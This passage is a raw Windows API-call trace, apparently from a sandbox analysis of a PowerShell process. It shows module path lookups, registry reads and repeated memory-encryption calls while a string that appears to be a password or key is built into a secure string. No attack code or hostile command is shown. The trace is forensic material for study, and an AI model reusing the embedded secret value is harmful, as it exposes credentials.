GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Security\\Microsoft.PowerShell.Security.dll" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\microsoft.powershell.security\\microsoft.powershell.security.dll")) returned 0xffffffff [0173.519] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules" (normalized: "c:\\program files (x86)\\windowspowershell\\modules")) returned 0x10 [0173.520] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Security", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4f [0173.520] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Security", nBufferLength=0x4f, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Security", lpFilePart=0x0) returned 0x4e [0173.520] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2cee0) returned 1 [0173.520] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Security" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\microsoft.powershell.security"), fInfoLevelId=0x0, lpFileInformation=0x5a2d1a4 | out: lpFileInformation=0x5a2d1a4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0173.520] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2cedc) returned 1 [0173.525] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Security\\Microsoft.PowerShell.Security.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\microsoft.powershell.security\\microsoft.powershell.security.dll")) returned 0xffffffff [0173.530] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules")) returned 0x10 [0173.531] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x51 [0173.531] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security", nBufferLength=0x51, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security", lpFilePart=0x0) returned 0x50 [0173.531] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2cee0) returned 1 [0173.532] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.security"), fInfoLevelId=0x0, lpFileInformation=0x5a2d1a4 | out: lpFileInformation=0x5a2d1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x498007e0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x498007e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x498007e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0173.532] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2cedc) returned 1 [0173.532] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2d1a0) returned 1 [0173.532] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x51 [0173.532] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security", nBufferLength=0x51, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security", lpFilePart=0x0) returned 0x50 [0173.532] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security\\*" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.security\\*"), lpFindFileData=0x5a2cf50 | out: lpFindFileData=0x5a2cf50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x498007e0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x498007e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x498007e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5c69400 [0173.533] FindNextFileW (in: hFindFile=0x5c69400, lpFindFileData=0x5a2cf58 | out: lpFindFileData=0x5a2cf58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x498007e0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x498007e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x498007e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0173.533] FindNextFileW (in: hFindFile=0x5c69400, lpFindFileData=0x5a2cf58 | out: lpFindFileData=0x5a2cf58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2d1d80, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e2d1d80, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f20f74b, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x2ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Security.psd1", cAlternateFileName="")) returned 1 [0173.533] FindNextFileW (in: hFindFile=0x5c69400, lpFindFileData=0x5a2cf58 | out: lpFindFileData=0x5a2cf58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2d1d80, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e2d1d80, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f20f74b, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x2ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Security.psd1", cAlternateFileName="")) returned 0 [0173.533] FindClose (in: hFindFile=0x5c69400 | out: hFindFile=0x5c69400) returned 1 [0173.533] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2cf10) returned 1 [0173.533] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2d170) returned 1 [0173.538] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security\\Microsoft.PowerShell.Security.dll" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.security\\microsoft.powershell.security.dll")) returned 0xffffffff [0173.607] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x8a [0173.607] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", nBufferLength=0x8a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", lpFilePart=0x0) returned 0x89 [0173.607] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x8a [0173.607] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", nBufferLength=0x8a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", lpFilePart=0x0) returned 0x89 [0173.607] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x8a [0173.608] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", nBufferLength=0x8a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", lpFilePart=0x0) returned 0x89 [0173.676] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x5a2c2ac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0173.783] ReportEventW (hEventLog=0x3f80004, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x237a090*="Certificate", lpRawData=0x2379fb8) returned 1 [0173.792] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x5a2df74 | out: phkResult=0x5a2df74*=0x468) returned 0x0 [0173.792] RegQueryValueExW (in: hKey=0x468, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5a2df94, lpData=0x0, lpcbData=0x5a2df90*=0x0 | out: lpType=0x5a2df94*=0x1, lpData=0x0, lpcbData=0x5a2df90*=0x56) returned 0x0 [0173.792] RegQueryValueExW (in: hKey=0x468, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5a2df94, lpData=0x23909bc, lpcbData=0x5a2df90*=0x56 | out: lpType=0x5a2df94*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x5a2df90*=0x56) returned 0x0 [0173.793] RegCloseKey (hKey=0x468) returned 0x0 [0173.793] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x5a2df74 | out: phkResult=0x5a2df74*=0x468) returned 0x0 [0173.793] RegQueryValueExW (in: hKey=0x468, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5a2df94, lpData=0x0, lpcbData=0x5a2df90*=0x0 | out: lpType=0x5a2df94*=0x1, lpData=0x0, lpcbData=0x5a2df90*=0x56) returned 0x0 [0173.793] RegQueryValueExW (in: hKey=0x468, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5a2df94, lpData=0x2390cd0, lpcbData=0x5a2df90*=0x56 | out: lpType=0x5a2df94*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x5a2df90*=0x56) returned 0x0 [0173.793] RegCloseKey (hKey=0x468) returned 0x0 [0173.794] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x5a2dfc0 | out: phkResult=0x5a2dfc0*=0x468) returned 0x0 [0173.794] RegQueryValueExW (in: hKey=0x468, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5a2dfe0, lpData=0x0, lpcbData=0x5a2dfdc*=0x0 | out: lpType=0x5a2dfe0*=0x1, lpData=0x0, lpcbData=0x5a2dfdc*=0x56) returned 0x0 [0173.794] RegQueryValueExW (in: hKey=0x468, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5a2dfe0, lpData=0x2390fcc, lpcbData=0x5a2dfdc*=0x56 | out: lpType=0x5a2dfe0*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x5a2dfdc*=0x56) returned 0x0 [0173.794] RegCloseKey (hKey=0x468) returned 0x0 [0173.795] CoTaskMemAlloc (cb=0x20c) returned 0x5c67600 [0173.795] SHGetFolderPathW (in: hwnd=0x0, csidl=38, hToken=0x0, dwFlags=0x0, pszPath=0x5c67600 | out: pszPath="C:\\Program Files (x86)") returned 0x0 [0173.795] CoTaskMemFree (pv=0x5c67600) [0173.795] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x17 [0173.795] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)", nBufferLength=0x17, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)", lpFilePart=0x0) returned 0x16 [0173.796] EtwEventActivityIdControl () returned 0x0 [0173.796] SetEvent (hEvent=0x460) returned 1 [0173.796] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x5a2e31c*=0x460, lpdwindex=0x5a2e140 | out: lpdwindex=0x5a2e140) returned 0x0 [0173.797] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e2a8, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0173.798] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e414 | out: lpConsoleScreenBufferInfo=0x5a2e414) returned 1 [0173.799] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e414 | out: lpConsoleScreenBufferInfo=0x5a2e414) returned 1 [0173.801] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x5c4f0c8*=0x428, lpdwindex=0x5a2e288 | out: lpdwindex=0x5a2e288) returned 0x0 [0173.837] CoGetContextToken (in: pToken=0x5a2d7fc | out: pToken=0x5a2d7fc) returned 0x0 [0173.837] CoGetContextToken (in: pToken=0x5a2d7dc | out: pToken=0x5a2d7dc) returned 0x0 [0173.837] CoGetContextToken (in: pToken=0x5a2d760 | out: pToken=0x5a2d760) returned 0x0 [0173.837] CoGetContextToken (in: pToken=0x5a2d760 | out: pToken=0x5a2d760) returned 0x0 [0173.837] CoGetContextToken (in: pToken=0x5a2d760 | out: pToken=0x5a2d760) returned 0x0 [0173.922] EtwEventActivityIdControl () returned 0x0 [0173.922] EtwEventActivityIdControl () returned 0x0 [0173.922] EtwEventActivityIdControl () returned 0x0 [0174.045] SystemFunction041 (in: Memory=0x3c4e5c, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x3c4e5c) returned 0x0 [0174.051] SysStringLen (param_1="") returned 0x8 [0174.053] SysStringLen (param_1="7") returned 0x8 [0174.053] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0174.053] SysStringLen (param_1="䶡鞠뺰龁ﴗ蕢\矚∉) returned 0x8 [0174.053] SysStringLen (param_1="䶡鞠뺰龁ﴗ蕢\矚∉) returned 0x8 [0174.053] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0174.053] SysStringLen (param_1="7G") returned 0x8 [0174.053] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0174.053] SysStringLen (param_1="렄⨀￪䀢姺ﴸ쮤‸") returned 0x8 [0174.053] SysStringLen (param_1="렄⨀￪䀢姺ﴸ쮤‸") returned 0x8 [0174.053] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0174.054] SysStringLen (param_1="7GA") returned 0x8 [0174.054] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0174.054] SysStringLen (param_1="䫰됶聮蚘⪻✈") returned 0x8 [0174.054] SysStringLen (param_1="䫰됶聮蚘⪻✈") returned 0x8 [0174.054] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0174.054] SysStringLen (param_1="7GAk") returned 0x8 [0174.054] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0174.054] SysStringLen (param_1="ｸ紾戢䞴좇轩ꕙ") returned 0x8 [0174.054] SysStringLen (param_1="ｸ紾戢䞴좇轩ꕙ") returned 0x8 [0174.054] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0174.055] SysStringLen (param_1="7GAkR") returned 0x8 [0174.055] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0174.055] SysStringLen (param_1="⹳坋⡚箬盈擷⒏饜") returned 0x8 [0174.055] SysStringLen (param_1="⹳坋⡚箬盈擷⒏饜") returned 0x8 [0174.055] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0174.055] SysStringLen (param_1="7GAkRc") returned 0x8 [0174.055] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0174.055] SysStringLen (param_1="⟔枨߁鈞ﺵ庈袢㈠") returned 0x8 [0174.055] SysStringLen (param_1="⟔枨߁鈞ﺵ庈袢㈠") returned 0x8 [0174.055] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0174.056] SysStringLen (param_1="7GAkRc/") returned 0x8 [0174.056] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0174.056] SysStringLen (param_1="㮧鐱遤ꅋ䤼喙䄱") returned 0x8 [0174.056] SysStringLen (param_1="㮧鐱遤ꅋ䤼喙䄱") returned 0x8 [0174.056] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0174.056] SysStringLen (param_1="7GAkRc/p") returned 0x8 [0174.056] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0174.056] SysStringLen (param_1="ꛬ\囚ﺻ畈䄻퇦䫟⋨) returned 0x8 [0174.057] SysStringLen (param_1="ꛬ\囚ﺻ畈䄻퇦䫟⋨) returned 0x8 [0174.057] SysStringLen (param_1="ꛬ\囚ﺻ畈䄻퇦䫟⋨) returned 0x8 [0174.057] SysStringLen (param_1="ꛬ\囚ﺻ畈䄻퇦䫟胨쒈∅) returned 0x10 [0174.057] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0174.057] SysStringLen (param_1="7GAkRc/pd睎샜嬨ꆵ븲텹") returned 0x10 [0174.057] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0174.058] SysStringLen (param_1="ꛬ\囚ﺻ畈䄻퇦䫟쓨㧒\雚媄ꡒ") returned 0x10 [0174.058] SysStringLen (param_1="ꛬ\囚ﺻ畈䄻퇦䫟쓨㧒\雚媄ꡒ") returned 0x10 [0174.058] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0174.058] SysStringLen (param_1="7GAkRc/pd2샜嬨ꆵ븲텹") returned 0x10 [0174.058] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0174.058] SysStringLen (param_1="ꛬ\囚ﺻ畈䄻퇦䫟샨饗檘퓀撚람茗൞≫) returned 0x10 [0174.058] SysStringLen (param_1="ꛬ\囚ﺻ畈䄻퇦䫟샨饗檘퓀撚람茗൞≫) returned 0x10 [0174.058] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0174.058] SysStringLen (param_1="7GAkRc/pd2Y嬨ꆵ븲텹") returned 0x10 [0174.058] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0174.059] SysStringLen (param_1="ꛬ\囚ﺻ畈䄻퇦䫟ꧨ䝦뜡ﱐ ヱ⊪) returned 0x10 [0174.059] SysStringLen (param_1="ꛬ\囚ﺻ畈䄻퇦䫟ꧨ䝦뜡ﱐ ヱ⊪) returned 0x10 [0174.059] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0174.059] SysStringLen (param_1="7GAkRc/pd2Ylꆵ븲텹") returned 0x10 [0174.059] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0174.059] SysStringLen (param_1="ꛬ\囚ﺻ畈䄻퇦䫟২ꂛ\鷝꼱︣᫜") returned 0x10 [0174.059] SysStringLen (param_1="ꛬ\囚ﺻ畈䄻퇦䫟২ꂛ\鷝꼱︣᫜") returned 0x10 [0174.059] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0174.059] SysStringLen (param_1="7GAkRc/pd2Ylyꆵ븲텹") returned 0x10 [0174.059] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0174.059] SysStringLen (param_1="ꛬ\囚ﺻ畈䄻퇦䫟ꓨ헔폶ꐙ澘埭姇邅∫) returned 0x10 [0174.059] SysStringLen (param_1="ꛬ\囚ﺻ畈䄻퇦䫟ꓨ헔폶ꐙ澘埭姇邅∫) returned 0x10 [0174.060] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0174.060] SysStringLen (param_1="7GAkRc/pd2YlyS븲텹") returned 0x10 [0174.060] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0174.060] SysStringLen (param_1="ꛬ\囚ﺻ畈䄻퇦䫟姨쫊笽ꠗ쥉峵ዲ∛) returned 0x10 [0174.060] SysStringLen (param_1="ꛬ\囚ﺻ畈䄻퇦䫟姨쫊笽ꠗ쥉峵ዲ∛) returned 0x10 [0174.060] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0174.060] SysStringLen (param_1="7GAkRc/pd2YlySu텹") returned 0x10 [0174.060] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0174.060] SysStringLen (param_1="ꛬ\囚ﺻ畈䄻퇦䫟ꫨ婔밠ꎺ莇蜽沵∹) returned 0x10 [0174.060] SysStringLen (param_1="ꛬ\囚ﺻ畈䄻퇦䫟ꫨ婔밠ꎺ莇蜽沵∹) returned 0x10 [0174.060] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0174.061] SysStringLen (param_1="7GAkRc/pd2YlySur") returned 0x10 [0174.061] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0174.061] SysStringLen (param_1="ꛬ\囚ﺻ畈䄻퇦䫟柨蛣賃꘰㋝啊⊗) returned 0x10 [0174.061] SysStringLen (param_1="ꛬ\囚ﺻ畈䄻퇦䫟柨蛣賃꘰㋝啊⊗) returned 0x10 [0174.061] SysStringLen (param_1="ꛬ\囚ﺻ畈䄻퇦䫟柨蛣賃꘰㋝啊⊗) returned 0x10 [0174.061] SysStringLen (param_1="ꛬ\囚ﺻ畈䄻퇦䫟柨蛣賃꘰㋝啊澗渀䔀氀렀쒗尅砀　㈀∀) returned 0x18 [0174.061] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0174.062] SysStringLen (param_1="7GAkRc/pd2YlySurUጮ\ﻜ⋺䏧≭) returned 0x18 [0174.062] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0174.062] SysStringLen (param_1="ꛬ\囚ﺻ畈䄻퇦䫟柨蛣賃꘰㋝啊Თ芜椪绌손ᩲ쨷囱⋛) returned 0x18 [0174.062] SysStringLen (param_1="ꛬ\囚ﺻ畈䄻퇦䫟柨蛣賃꘰㋝啊Თ芜椪绌손ᩲ쨷囱⋛) returned 0x18 [0174.062] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0174.062] SysStringLen (param_1="7GAkRc/pd2YlySurUa\ﻜ⋺䏧≭) returned 0x18 [0174.062] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0174.062] SysStringLen (param_1="ꛬ\囚ﺻ畈䄻퇦䫟柨蛣賃꘰㋝啊䗦崑槀⃆ćꆊ熿∨) returned 0x18 [0174.062] SysStringLen (param_1="ꛬ\囚ﺻ畈䄻퇦䫟柨蛣賃꘰㋝啊䗦崑槀⃆ćꆊ熿∨) returned 0x18 [0174.062] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0174.063] SysStringLen (param_1="7GAkRc/pd2YlySurUao\ﻜ⋺䏧≭) returned 0x18 [0174.063] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0174.063] SysStringLen (param_1="ꛬ\囚ﺻ畈䄻퇦䫟柨蛣賃꘰㋝啊纗귣糙贳뻘鳒ᚫ⨢⊨) returned 0x18 [0174.063] SysStringLen (param_1="ꛬ\囚ﺻ畈䄻퇦䫟柨蛣賃꘰㋝啊纗귣糙贳뻘鳒ᚫ⨢⊨) returned 0x18 [0174.063] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0174.063] SysStringLen (param_1="7GAkRc/pd2YlySurUaoPᓾ﫳浃") returned 0x18 [0174.063] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0174.063] SysStringLen (param_1="ꛬ\囚ﺻ畈䄻퇦䫟柨蛣賃꘰㋝啊벗匓棳뉝儣鈙硆⊊) returned 0x18 [0174.063] SysStringLen (param_1="ꛬ\囚ﺻ畈䄻퇦䫟柨蛣賃꘰㋝啊벗匓棳뉝儣鈙硆⊊) returned 0x18 [0174.063] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: 